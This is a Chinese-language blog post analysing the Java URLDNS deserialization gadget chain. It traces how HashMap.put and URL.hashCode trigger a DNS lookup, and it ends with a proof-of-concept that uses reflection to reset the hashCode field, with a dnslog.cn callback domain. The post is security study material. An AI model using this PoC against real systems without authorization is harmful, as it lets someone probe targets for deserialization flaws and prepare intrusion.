URLDNS链分析

xekOnerR Sleep.. zzzZZzZ

单独拿出来过一遍,详细分析见 JavaSec 基础。

利用点位于 HashMap 的 put 方法:

1
2
3
public V put(K key, V value) {  
return putVal(hash(key), key, value, false, true);
}

这里对 key 进行了 hash 方法的调用,跟进:

1
2
3
4
static final int hash(Object key) {  
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

如果 key 不为 null,则执行 key.hashCode()
这就是重点
如果 key 是一个 url 对象呢?
那就会调用 URL.hashCode() :

1
2
3
4
5
6
7
public synchronized int hashCode() {  
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;
}

if 判断,如果 hashCode 不为 -1 则直接返回。
反之,等于 -1 就执行代码。
先跟进:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// (片段)
protected int hashCode(URL u) {
int h = 0;

// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();

// Generate the host part.
InetAddress addr = getHostAddress(u);
if (addr != null) {
h += addr.hashCode();
} else {
String host = u.getHost();
if (host != null)
h += host.toLowerCase(Locale.ROOT).hashCode();
}

对传入的 url 地址进行了 getHostAddress(u) 方法调用。
JAVA/attachments/Pasted image 20260209230946.png

主要是解析域名,那就一定会收到 DNS 请求。

JAVA/attachments/Pasted image 20260209231119.png

这就引发了一个问题:
不管什么时候只要执行了 map.put(url, "test"); 都会触发 DNS 解析,那我在序列化的时候不需要解析怎么办?

那就只需要进入这个代码逻辑即可:

1
2
if (hashCode != -1)  
return hashCode;

因为 private int hashCode = -1; 是私有属性,我们需要通过反射的方式进行修改:

完整 poc:

1
2
3
4
5
6
7
8
9
10
11
public static void main(String[] args) throws MalformedURLException, NoSuchFieldException, IllegalAccessException {  
HashMap<URL, String> map = new HashMap();
URL url = new URL("http://ynx9jj.dnslog.cn");
Class c = URL.class;
Field hashCode = c.getDeclaredField("hashCode");
hashCode.setAccessible(true);
hashCode.set(url, 1);
map.put(url, "test");
hashCode.set(url, -1);
// 再进行序列化操作即可。
}
  • Title: URLDNS链分析
  • Author: xekOnerR
  • Created at : 2026-02-10 12:25:57
  • Updated at : 2026-02-10 12:26:42
  • Link: https://xekoner.xyz/2026/02/10/URLDNS链分析/
  • License: This work is licensed under CC BY-NC-SA 4.0.
On this page
URLDNS链分析